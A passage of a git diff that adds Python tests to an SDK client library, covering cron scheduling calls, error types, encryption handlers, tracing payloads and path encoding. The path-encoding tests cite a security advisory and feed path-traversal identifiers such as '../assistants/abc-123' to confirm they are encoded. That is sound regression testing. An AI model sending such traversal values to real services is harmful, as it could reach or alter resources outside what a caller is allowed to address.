assert parts[0] == { + "type": "metadata", + "ns": [], + "data": {"run_id": "r1"}, + "interrupts": [], + } + assert parts[1] == { + "type": "values", + "ns": [], + "data": {"state": "full"}, + "interrupts": [], + } + + +# --- type narrowing compile-time checks --- + + +def _check_v2_type_narrowing(part: StreamPartV2) -> None: + """Compile-time type narrowing checks.""" + if part["type"] == "values": + assert_type(part, ValuesStreamPart) + assert_type(part["data"], dict[str, Any]) + elif part["type"] == "updates": + assert_type(part, UpdatesStreamPart) + assert_type(part["data"], dict[str, Any]) + elif part["type"] == "custom": + assert_type(part, CustomStreamPart) + elif part["type"] == "checkpoints": + assert_type(part, CheckpointsStreamPart) + assert_type(part["data"], CheckpointPayload) + elif part["type"] == "tasks": + assert_type(part, TasksStreamPart) + assert_type(part["data"], TaskPayload | TaskResultPayload) + elif part["type"] == "debug": + assert_type(part, DebugStreamPart) + assert_type(part["data"], DebugPayload) + elif part["type"] == "metadata": + assert_type(part, MetadataStreamPart) + assert_type(part["data"], RunMetadataPayload) diff --git a/libs/sdk-py/tests/test_crons_client.py b/libs/sdk-py/tests/test_crons_client.py new file mode 100644 index 0000000..122dda6 --- /dev/null +++ b/libs/sdk-py/tests/test_crons_client.py @@ -0,0 +1,649 @@ +"""Tests for the crons client.""" + +from __future__ import annotations + +import json +from datetime import datetime, timezone + +import httpx +import pytest + +from langgraph_sdk.client import ( + CronClient, + HttpClient, + SyncCronClient, + SyncHttpClient, +) + + +def _cron_payload() -> dict[str, object]: + """Return a mock cron response payload.""" + return { + "run_id": "run_123", + "thread_id": "thread_123", + "assistant_id": "asst_123", + "created_at": "2024-01-01T00:00:00Z", + "updated_at": "2024-01-02T00:00:00Z", + "status": "success", + "metadata": {}, + "multitask_strategy": "reject", + } + + +@pytest.mark.asyncio +async def test_async_create_for_thread(): + """Test that CronClient.create_for_thread works without end_time.""" + cron = _cron_payload() + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/threads/thread_123/runs/crons" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 0 * * *" + assert body["assistant_id"] == "asst_123" + assert "end_time" not in body # Should be filtered out by the None check + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + result = await cron_client.create_for_thread( + thread_id="thread_123", + assistant_id="asst_123", + schedule="0 0 * * *", + ) + + assert result == cron + + +@pytest.mark.asyncio +async def test_async_create_for_thread_with_end_time(): + """Test that CronClient.create_for_thread includes end_time in the payload.""" + cron = _cron_payload() + end_time = datetime(2025, 12, 31, 23, 59, 59, tzinfo=timezone.utc) + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/threads/thread_123/runs/crons" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 0 * * *" + assert body["assistant_id"] == "asst_123" + assert body["end_time"] == "2025-12-31T23:59:59+00:00" + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + result = await cron_client.create_for_thread( + thread_id="thread_123", + assistant_id="asst_123", + schedule="0 0 * * *", + end_time=end_time, + ) + + assert result == cron + + +@pytest.mark.asyncio +async def test_async_create(): + """Test that CronClient.create works without end_time.""" + cron = _cron_payload() + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/runs/crons" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 12 * * *" + assert body["assistant_id"] == "asst_456" + assert "end_time" not in body # Should be filtered out by the None check + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + result = await cron_client.create( + assistant_id="asst_456", + schedule="0 12 * * *", + ) + + assert result == cron + + +@pytest.mark.asyncio +async def test_async_create_with_end_time(): + """Test that CronClient.create includes end_time in the payload.""" + cron = _cron_payload() + end_time = datetime(2025, 6, 15, 12, 0, 0, tzinfo=timezone.utc) + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/runs/crons" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 12 * * *" + assert body["assistant_id"] == "asst_456" + assert body["end_time"] == "2025-06-15T12:00:00+00:00" + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + result = await cron_client.create( + assistant_id="asst_456", + schedule="0 12 * * *", + end_time=end_time, + ) + + assert result == cron + + +def test_sync_create_for_thread(): + """Test that SyncCronClient.create_for_thread works without end_time.""" + cron = _cron_payload() + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/threads/thread_123/runs/crons" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 0 * * *" + assert body["assistant_id"] == "asst_123" + assert "end_time" not in body # Should be filtered out by the None check + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.create_for_thread( + thread_id="thread_123", + assistant_id="asst_123", + schedule="0 0 * * *", + ) + + assert result == cron + + +def test_sync_create_for_thread_with_end_time(): + """Test that SyncCronClient.create_for_thread includes end_time in the payload.""" + cron = _cron_payload() + end_time = datetime(2025, 12, 31, 23, 59, 59, tzinfo=timezone.utc) + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/threads/thread_123/runs/crons" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 0 * * *" + assert body["assistant_id"] == "asst_123" + assert body["end_time"] == "2025-12-31T23:59:59+00:00" + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.create_for_thread( + thread_id="thread_123", + assistant_id="asst_123", + schedule="0 0 * * *", + end_time=end_time, + ) + + assert result == cron + + +def test_sync_create(): + """Test that SyncCronClient.create works without end_time.""" + cron = _cron_payload() + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/runs/crons" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 12 * * *" + assert body["assistant_id"] == "asst_456" + assert "end_time" not in body # Should be filtered out by the None check + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.create( + assistant_id="asst_456", + schedule="0 12 * * *", + ) + + assert result == cron + + +def test_sync_create_with_end_time(): + """Test that SyncCronClient.create includes end_time in the payload.""" + cron = _cron_payload() + end_time = datetime(2025, 6, 15, 12, 0, 0, tzinfo=timezone.utc) + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/runs/crons" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 12 * * *" + assert body["assistant_id"] == "asst_456" + assert body["end_time"] == "2025-06-15T12:00:00+00:00" + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.create( + assistant_id="asst_456", + schedule="0 12 * * *", + end_time=end_time, + ) + + assert result == cron + + +@pytest.mark.parametrize( + "enabled_value", + [True, False], + ids=["enabled", "disabled"], +) +def test_sync_create_with_enabled_parameter(enabled_value): + """Test that SyncCronClient.create includes enabled parameter in the payload.""" + cron = _cron_payload() + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/runs/crons" + + body = json.loads(request.content) + assert body["schedule"] == "0 12 * * *" + assert body["assistant_id"] == "asst_456" + assert body["enabled"] == enabled_value + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.create( + assistant_id="asst_456", + schedule="0 12 * * *", + enabled=enabled_value, + ) + + assert result == cron + + +def _cron_response() -> dict[str, object]: + """Return a mock Cron object response.""" + return { + "cron_id": "cron_123", + "assistant_id": "asst_123", + "thread_id": "thread_123", + "on_run_completed": None, + "end_time": "2025-12-31T23:59:59+00:00", + "schedule": "0 10 * * *", + "created_at": "2024-01-01T00:00:00Z", + "updated_at": "2024-01-02T00:00:00Z", + "payload": {}, + "user_id": None, + "next_run_date": "2024-01-03T10:00:00Z", + "metadata": {}, + "enabled": True, + } + + +@pytest.mark.asyncio +async def test_async_update(): + """Test that CronClient.update works with schedule and enabled parameters.""" + cron = _cron_response() + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "PATCH" + assert request.url.path == "/runs/crons/cron_123" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 10 * * *" + assert body["enabled"] is False + assert "end_time" not in body # Should be filtered out by the None check + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + result = await cron_client.update( + cron_id="cron_123", + schedule="0 10 * * *", + enabled=False, + ) + + assert result == cron + + +@pytest.mark.asyncio +async def test_async_update_with_end_time(): + """Test that CronClient.update includes end_time in the payload.""" + cron = _cron_response() + end_time = datetime(2025, 12, 31, 23, 59, 59, tzinfo=timezone.utc) + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "PATCH" + assert request.url.path == "/runs/crons/cron_123" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 10 * * *" + assert body["end_time"] == "2025-12-31T23:59:59+00:00" + assert body["enabled"] is True + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + result = await cron_client.update( + cron_id="cron_123", + schedule="0 10 * * *", + end_time=end_time, + enabled=True, + ) + + assert result == cron + + +def test_sync_update(): + """Test that SyncCronClient.update works with schedule and enabled parameters.""" + cron = _cron_response() + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "PATCH" + assert request.url.path == "/runs/crons/cron_123" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 10 * * *" + assert body["enabled"] is False + assert "end_time" not in body # Should be filtered out by the None check + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.update( + cron_id="cron_123", + schedule="0 10 * * *", + enabled=False, + ) + + assert result == cron + + +def test_sync_update_with_end_time(): + """Test that SyncCronClient.update includes end_time in the payload.""" + cron = _cron_response() + end_time = datetime(2025, 12, 31, 23, 59, 59, tzinfo=timezone.utc) + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "PATCH" + assert request.url.path == "/runs/crons/cron_123" + + # Parse the request body + body = json.loads(request.content) + assert body["schedule"] == "0 10 * * *" + assert body["end_time"] == "2025-12-31T23:59:59+00:00" + assert body["enabled"] is True + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.update( + cron_id="cron_123", + schedule="0 10 * * *", + end_time=end_time, + enabled=True, + ) + + assert result == cron + + +@pytest.mark.parametrize( + "enabled_value", + [True, False], + ids=["enabled", "disabled"], +) +def test_sync_update_with_enabled_parameter(enabled_value): + """Test that SyncCronClient.update includes enabled parameter in the payload.""" + cron = _cron_response() + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "PATCH" + assert request.url.path == "/runs/crons/cron_456" + + body = json.loads(request.content) + assert body["enabled"] == enabled_value + assert "schedule" not in body # Only enabled is set + + return httpx.Response(200, json=cron) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.update( + cron_id="cron_456", + enabled=enabled_value, + ) + + assert result == cron + + +@pytest.mark.asyncio +async def test_async_search_with_metadata(): + """Test that CronClient.search forwards metadata in the request body.""" + cron = _cron_response() + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/runs/crons/search" + + body = json.loads(request.content) + assert body["metadata"] == {"owner": "alice"} + assert body["limit"] == 10 + assert body["offset"] == 0 + + return httpx.Response(200, json=[cron]) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + result = await cron_client.search(metadata={"owner": "alice"}) + + assert result == [cron] + + +@pytest.mark.asyncio +async def test_async_search_omits_empty_metadata(): + """Test that CronClient.search does not send metadata when not provided.""" + cron = _cron_response() + + async def handler(request: httpx.Request) -> httpx.Response: + body = json.loads(request.content) + assert "metadata" not in body + return httpx.Response(200, json=[cron]) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + await cron_client.search() + + +@pytest.mark.asyncio +async def test_async_count_with_metadata(): + """Test that CronClient.count forwards metadata in the request body.""" + + async def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/runs/crons/count" + + body = json.loads(request.content) + assert body["metadata"] == {"team": "infra"} + + return httpx.Response(200, json=2) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + result = await cron_client.count(metadata={"team": "infra"}) + + assert result == 2 + + +@pytest.mark.asyncio +async def test_async_count_omits_empty_metadata(): + """Test that CronClient.count does not send metadata when not provided.""" + + async def handler(request: httpx.Request) -> httpx.Response: + body = json.loads(request.content) + assert "metadata" not in body + return httpx.Response(200, json=0) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + http_client = HttpClient(client) + cron_client = CronClient(http_client) + await cron_client.count() + + +def test_sync_search_with_metadata(): + """Test that SyncCronClient.search forwards metadata in the request body.""" + cron = _cron_response() + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/runs/crons/search" + + body = json.loads(request.content) + assert body["metadata"] == {"owner": "alice"} + + return httpx.Response(200, json=[cron]) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.search(metadata={"owner": "alice"}) + + assert result == [cron] + + +def test_sync_search_omits_empty_metadata(): + """Test that SyncCronClient.search does not send metadata when not provided.""" + cron = _cron_response() + + def handler(request: httpx.Request) -> httpx.Response: + body = json.loads(request.content) + assert "metadata" not in body + return httpx.Response(200, json=[cron]) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + cron_client.search() + + +def test_sync_count_with_metadata(): + """Test that SyncCronClient.count forwards metadata in the request body.""" + + def handler(request: httpx.Request) -> httpx.Response: + assert request.method == "POST" + assert request.url.path == "/runs/crons/count" + + body = json.loads(request.content) + assert body["metadata"] == {"team": "infra"} + + return httpx.Response(200, json=2) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + result = cron_client.count(metadata={"team": "infra"}) + + assert result == 2 + + +def test_sync_count_omits_empty_metadata(): + """Test that SyncCronClient.count does not send metadata when not provided.""" + + def handler(request: httpx.Request) -> httpx.Response: + body = json.loads(request.content) + assert "metadata" not in body + return httpx.Response(200, json=0) + + transport = httpx.MockTransport(handler) + with httpx.Client(transport=transport, base_url="https://example.com") as client: + http_client = SyncHttpClient(client) + cron_client = SyncCronClient(http_client) + cron_client.count() diff --git a/libs/sdk-py/tests/test_encryption.py b/libs/sdk-py/tests/test_encryption.py new file mode 100644 index 0000000..90804c2 --- /dev/null +++ b/libs/sdk-py/tests/test_encryption.py @@ -0,0 +1,72 @@ +import pytest + +from langgraph_sdk.encryption import DuplicateHandlerError, Encryption + + +class TestHandlerValidation: + """Test duplicate handler and signature validation.""" + + def test_duplicate_handlers_raise_error(self): + """Registering the same handler type twice raises DuplicateHandlerError.""" + encryption = Encryption() + + @encryption.encrypt.blob + async def blob_enc(_ctx, data): + return data + + @encryption.decrypt.blob + async def blob_dec(_ctx, data): + return data + + @encryption.encrypt.json + async def json_enc(_ctx, data): + return data + + @encryption.decrypt.json + async def json_dec(_ctx, data): + return data + + # All duplicates should raise + with pytest.raises(DuplicateHandlerError): + + @encryption.encrypt.blob + async def dup(_ctx, data): + return data + + with pytest.raises(DuplicateHandlerError): + + @encryption.decrypt.blob + async def dup(_ctx, data): + return data + + with pytest.raises(DuplicateHandlerError): + + @encryption.encrypt.json + async def dup(_ctx, data): + return data + + with pytest.raises(DuplicateHandlerError): + + @encryption.decrypt.json + async def dup(_ctx, data): + return data + + def test_handlers_must_be_async(self): + """Sync functions raise TypeError.""" + encryption = Encryption() + + with pytest.raises(TypeError, match="must be an async function"): + + @encryption.encrypt.blob + def sync_handler(_ctx, data): + return data + + def test_handlers_must_have_two_params(self): + """Wrong parameter count raises TypeError.""" + encryption = Encryption() + + with pytest.raises(TypeError, match="must accept exactly 2 parameters"): + + @encryption.encrypt.blob # ty: ignore[invalid-argument-type] + async def wrong_params(ctx): + return ctx diff --git a/libs/sdk-py/tests/test_errors.py b/libs/sdk-py/tests/test_errors.py new file mode 100644 index 0000000..97c81c3 --- /dev/null +++ b/libs/sdk-py/tests/test_errors.py @@ -0,0 +1,144 @@ +from __future__ import annotations + +from typing import cast + +import httpx +import orjson +import pytest + +from langgraph_sdk.errors import ( + APIStatusError, + AuthenticationError, + BadRequestError, + ConflictError, + InternalServerError, + NotFoundError, + PermissionDeniedError, + RateLimitError, + UnprocessableEntityError, + _raise_for_status_typed, +) + + +def make_response( + status: int, + *, + json_body: dict | None = None, + text_body: str | None = None, + headers: dict[str, str] | None = None, +) -> httpx.Response: + request = httpx.Request("GET", "https://example.com/test") + content: bytes | None + if json_body is not None: + content = orjson.dumps(json_body) + elif text_body is not None: + content = text_body.encode() + else: + content = b"" + return httpx.Response( + status, headers=headers or {}, content=content, request=request + ) + + +@pytest.mark.parametrize( + "status,exc_type", + [ + (400, BadRequestError), + (401, AuthenticationError), + (403, PermissionDeniedError), + (404, NotFoundError), + (409, ConflictError), + (422, UnprocessableEntityError), + (429, RateLimitError), + (500, InternalServerError), + (503, InternalServerError), # any 5xx + (418, APIStatusError), # unmapped 4xx falls back to base type + ], +) +def test_raise_for_status_typed_maps_exceptions_and_sets_status_code( + status: int, exc_type: type[APIStatusError] +) -> None: + r = make_response( + status, json_body={"message": "boom", "code": "abc", "param": "p", "type": "t"} + ) + + with pytest.raises(exc_type) as ei: + _raise_for_status_typed(r) + + err = ei.value + assert err.status_code == status + # response attribute should be present and match + assert err.response.status_code == status + + +def test_request_id_is_extracted_when_present() -> None: + r = make_response( + 404, json_body={"detail": "missing"}, headers={"x-request-id": "req-123"} + ) + with pytest.raises(NotFoundError) as ei: + _raise_for_status_typed(r) + err = cast("APIStatusError", ei.value) + # request_id only exists on APIStatusError subclasses + assert err.request_id == "req-123" + + +def test_non_json_body_does_not_break_mapping() -> None: + r = make_response(429, text_body="Too many requests") + with pytest.raises(RateLimitError) as ei: + _raise_for_status_typed(r) + err = cast("APIStatusError", ei.value) + assert err.status_code == 429 + + +def test_field_extraction_from_json_body() -> None: + r = make_response( + 400, + json_body={ + "message": "Invalid parameter", + "code": "invalid_param", + "param": "limit", + "type": "invalid_request_error", + }, + ) + with pytest.raises(BadRequestError) as ei: + _raise_for_status_typed(r) + err = cast("APIStatusError", ei.value) + assert err.code == "invalid_param" + assert err.param == "limit" + assert err.type == "invalid_request_error" + + +def test_error_message_in_str_and_args() -> None: + """Test that error message is accessible via str() and args.""" + r = make_response(422, json_body={"message": "Validation failed"}) + with pytest.raises(UnprocessableEntityError) as ei: + _raise_for_status_typed(r) + err = ei.value + assert str(err) == "Validation failed" + assert err.args == ("Validation failed",) + assert err.message == "Validation failed" + + +@pytest.mark.parametrize( + "status,exc_type", + [ + (400, BadRequestError), + (401, AuthenticationError), + (403, PermissionDeniedError), + (404, NotFoundError), + (409, ConflictError), + (422, UnprocessableEntityError), + (429, RateLimitError), + (500, InternalServerError), + ], +) +def test_all_error_types_display_message( + status: int, exc_type: type[APIStatusError] +) -> None: + """Test that all error subclasses properly display their message.""" + r = make_response(status, json_body={"message": "test error message"}) + with pytest.raises(exc_type) as ei: + _raise_for_status_typed(r) + err = ei.value + assert str(err) == "test error message" + assert "test error message" in err.args diff --git a/libs/sdk-py/tests/test_langsmith_tracing.py b/libs/sdk-py/tests/test_langsmith_tracing.py new file mode 100644 index 0000000..db0fc22 --- /dev/null +++ b/libs/sdk-py/tests/test_langsmith_tracing.py @@ -0,0 +1,146 @@ +"""Test that langsmith_tracing parameter is correctly mapped to langsmith_tracer in payloads.""" + +from __future__ import annotations + +from typing import Any +from unittest.mock import AsyncMock, MagicMock + +import pytest + +from langgraph_sdk.schema import LangSmithTracing + + +@pytest.fixture +def tracing_config() -> LangSmithTracing: + return LangSmithTracing( + project_name="my-project", + example_id="example-123", + ) + + +class TestLangSmithTracingPayload: + """Verify langsmith_tracing param maps to langsmith_tracer in request payload.""" + + @pytest.mark.asyncio + async def test_async_create_includes_langsmith_tracer(self, tracing_config): + """Test that async create sends langsmith_tracer in payload.""" + from langgraph_sdk._async.runs import RunsClient + + captured: dict[str, Any] = {} + + async def mock_post(_path, *, json=None, **_kwargs): + captured["json"] = json + return {"run_id": "r1", "status": "pending"} + + http = MagicMock() + http.post = AsyncMock(side_effect=mock_post) + client = RunsClient(http) + + await client.create( + thread_id="t1", + assistant_id="a1", + langsmith_tracing=tracing_config, + ) + + assert "langsmith_tracer" in captured["json"] + assert captured["json"]["langsmith_tracer"] == { + "project_name": "my-project", + "example_id": "example-123", + } + + def test_sync_create_includes_langsmith_tracer(self, tracing_config): + """Test that sync create sends langsmith_tracer in payload.""" + from langgraph_sdk._sync.runs import SyncRunsClient + + captured: dict[str, Any] = {} + + def mock_post(_path, *, json=None, **_kwargs): + captured["json"] = json + return {"run_id": "r1", "status": "pending"} + + http = MagicMock() + http.post = MagicMock(side_effect=mock_post) + client = SyncRunsClient(http) + + client.create( + thread_id="t1", + assistant_id="a1", + langsmith_tracing=tracing_config, + ) + + assert "langsmith_tracer" in captured["json"] + assert captured["json"]["langsmith_tracer"] == { + "project_name": "my-project", + "example_id": "example-123", + } + + def test_sync_wait_includes_langsmith_tracer(self, tracing_config): + """Test that sync wait sends langsmith_tracer in payload.""" + from langgraph_sdk._sync.runs import SyncRunsClient + + captured: dict[str, Any] = {} + + def mock_request_reconnect(_path, _method, *, json=None, **_kwargs): + captured["json"] = json + return {"messages": []} + + http = MagicMock() + http.request_reconnect = MagicMock(side_effect=mock_request_reconnect) + client = SyncRunsClient(http) + + client.wait( + thread_id="t1", + assistant_id="a1", + langsmith_tracing=tracing_config, + ) + + assert "langsmith_tracer" in captured["json"] + assert captured["json"]["langsmith_tracer"] == { + "project_name": "my-project", + "example_id": "example-123", + } + + def test_create_without_langsmith_tracing_excludes_key(self): + """Test that langsmith_tracer is not in payload when not provided.""" + from langgraph_sdk._sync.runs import SyncRunsClient + + captured: dict[str, Any] = {} + + def mock_post(_path, *, json=None, **_kwargs): + captured["json"] = json + return {"run_id": "r1", "status": "pending"} + + http = MagicMock() + http.post = MagicMock(side_effect=mock_post) + client = SyncRunsClient(http) + + client.create( + thread_id="t1", + assistant_id="a1", + ) + + assert "langsmith_tracer" not in captured["json"] + + def test_langsmith_tracing_project_name_only(self): + """Test that langsmith_tracing works with only project_name.""" + from langgraph_sdk._sync.runs import SyncRunsClient + + captured: dict[str, Any] = {} + + def mock_post(_path, *, json=None, **_kwargs): + captured["json"] = json + return {"run_id": "r1", "status": "pending"} + + http = MagicMock() + http.post = MagicMock(side_effect=mock_post) + client = SyncRunsClient(http) + + client.create( + thread_id="t1", + assistant_id="a1", + langsmith_tracing={"project_name": "my-project"}, + ) + + assert captured["json"]["langsmith_tracer"] == { + "project_name": "my-project", + } diff --git a/libs/sdk-py/tests/test_path_encoding.py b/libs/sdk-py/tests/test_path_encoding.py new file mode 100644 index 0000000..4c5fc0d --- /dev/null +++ b/libs/sdk-py/tests/test_path_encoding.py @@ -0,0 +1,448 @@ +"""Regression tests for path-segment encoding of caller-supplied identifiers. + +Covers GHSA-w39p-vh2g-g8g5: identifier values interpolated into request paths +are encoded so the resulting request addresses the resource the SDK method +indicates, even if the identifier contains characters with special meaning in +URL paths. +""" + +from __future__ import annotations + +import httpx +import pytest + +from langgraph_sdk._shared.utilities import _quote_path_param +from langgraph_sdk.client import ( + AssistantsClient, + CronClient, + HttpClient, + RunsClient, + SyncAssistantsClient, + SyncCronClient, + SyncHttpClient, + SyncRunsClient, + SyncThreadsClient, + ThreadsClient, +) + + +class TestQuotePathParam: + """Unit tests for the encoding helper itself.""" + + def test_uuid_round_trips_unchanged(self) -> None: + uuid_value = "550e8400-e29b-41d4-a716-446655440000" + assert _quote_path_param(uuid_value) == uuid_value + + def test_simple_opaque_id_round_trips_unchanged(self) -> None: + assert _quote_path_param("thread_123") == "thread_123" + assert _quote_path_param("asst_abc") == "asst_abc" + + def test_slash_is_encoded(self) -> None: + assert _quote_path_param("foo/bar") == "foo%2Fbar" + + def test_bare_dot_segments_are_encoded(self) -> None: + # All-dot strings are encoded to make them opaque to HTTP stacks that + # collapse "./.." path segments client-side. + assert _quote_path_param(".") == "%2E" + assert _quote_path_param("..") == "%2E%2E" + assert _quote_path_param("...") == "%2E%2E%2E" + # Mixed values that happen to contain dots are not affected. + assert _quote_path_param("agent.v1") == "agent.v1" + # Subsequent ``/`` characters are encoded regardless. + assert _quote_path_param("../bar") == "..%2Fbar" + + def test_full_pivot_payload_is_encoded(self) -> None: + # A caller-supplied identifier that, if interpolated raw, would route + # the request to a different resource type. + payload = "../assistants/abc-123" + encoded = _quote_path_param(payload) + assert encoded == "..%2Fassistants%2Fabc-123" + assert "/" not in encoded + + def test_non_string_values_are_coerced_to_str(self) -> None: + import uuid + + uid = uuid.UUID("550e8400-e29b-41d4-a716-446655440000") + assert _quote_path_param(uid) == str(uid) + assert _quote_path_param(42) == "42" + + def test_none_value_raises_type_error(self) -> None: + with pytest.raises(TypeError, match="must not be None"): + _quote_path_param(None) + + def test_bytes_value_raises_type_error(self) -> None: + with pytest.raises(TypeError, match="must not be bytes"): + _quote_path_param(b"bytes") + with pytest.raises(TypeError, match="must not be bytes"): + _quote_path_param(bytearray(b"bytes")) + + +def _wire_path(request: httpx.Request) -> str: + """Return the path as it goes on the wire (preserves percent-encoding).""" + return request.url.raw_path.decode("ascii") + + +@pytest.mark.asyncio +class TestAsyncPathEncoding: + """Async-client tests that verify the encoded path actually lands on the wire. + + Note: ``request.url.path`` is the percent-decoded display form. The bytes + that actually go on the wire are in ``request.url.raw_path``; that is what + the server's router sees and what these tests inspect. + """ + + async def test_threads_get_with_pivot_payload_stays_on_threads(self) -> None: + captured: list[str] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append(_wire_path(request)) + return httpx.Response(200, json={"thread_id": "anything"}) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + threads_client = ThreadsClient(HttpClient(client)) + await threads_client.get("../assistants/abc-123") + + assert len(captured) == 1 + wire = captured[0] + # The identifier is encoded so the wire path stays inside `/threads/...`. + # The encoded segment must not contain literal slashes that could let + # the server re-route to a different resource type. + assert wire.startswith("/threads/") + segment = wire[len("/threads/") :] + assert "/" not in segment + assert "%2F" in segment + assert segment == "..%2Fassistants%2Fabc-123" + + async def test_threads_update_with_pivot_payload_stays_on_threads(self) -> None: + captured: list[tuple[str, str]] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append((request.method, _wire_path(request))) + return httpx.Response(200, json={"thread_id": "anything"}) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + threads_client = ThreadsClient(HttpClient(client)) + await threads_client.update("../assistants/abc-123", metadata={"x": 1}) + + assert len(captured) == 1 + method, wire = captured[0] + assert method == "PATCH" + assert wire.startswith("/threads/") + segment = wire[len("/threads/") :] + assert "/" not in segment + + async def test_threads_delete_with_pivot_payload_stays_on_threads(self) -> None: + captured: list[tuple[str, str]] = [] + + async def handler(request: httpx.Request) -> httpx.Response: + captured.append((request.method, _wire_path(request))) + return httpx.Response(200) + + transport = httpx.MockTransport(handler) + async with httpx.AsyncClient( + transport=transport, base_url="https://example.com" + ) as client: + threads_client = ThreadsClient(HttpClient(client)) + await threads_client.delete("../runs/crons/some-cron-id") + + assert len(captured) == 1 + method, wire = captured[0] + assert method == "DELETE" + assert wire.startswith("/threads/") + segment = 